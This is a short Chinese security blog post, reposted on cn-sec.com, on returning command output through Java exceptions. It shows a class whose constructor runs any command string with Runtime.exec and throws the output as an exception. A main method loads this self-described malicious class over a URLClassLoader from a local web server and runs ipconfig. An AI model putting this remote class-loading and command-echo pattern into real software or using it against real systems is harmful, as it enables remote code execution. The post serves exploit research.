JAVA异常回显研究

admin 2022年5月12日00:53:13代码审计评论4 views1054字阅读3分30秒阅读模式

JAVA异常回显研究

扫一扫关注公众号,长期致力于安全研究JAVA异常回显研究



0x01  前言

水一篇文章....大佬勿喷....好久没更了


0x02 代码实现

首先来看如下代码,其构造传入字符串,就可以作为命令执行。与之不同的是最后回显信息通过了throw抛出异常的方式来显示

JAVA异常回显研究

public URLClassTest(String name) throws Exception {    Process process = Runtime.getRuntime().exec(name);    InputStream stream = process.getInputStream();    InputStreamReader inputStreamReader = new InputStreamReader(stream,Charset.forName("gbk"));    BufferedReader bufferedReader = new BufferedReader(inputStreamReader);    StringBuffer buf = new StringBuffer();    String line = null;    while( (line = bufferedReader.readLine())!=null){        buf.append(line+"n");    }
throw new Exception(buf.toString());}
之后本人通过URLClassloader的方式进行加载该恶意类
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {        URLClassLoader classLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1/")});        Class cls = classLoader.loadClass("URLClassTest");        Constructor obj = cls.getDeclaredConstructor(String.class);        obj.newInstance("ipconfig");    }
    可以看到命令成功输出

JAVA异常回显研究





11111
微信搜索关注 "安全族" 长期致力于安全研究


下方扫一下扫,即可关注JAVA异常回显研究

JAVA异常回显研究






原文始发于微信公众号(安全族):JAVA异常回显研究

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月12日00:53:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  JAVA异常回显研究 https://cn-sec.com/archives/999559.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: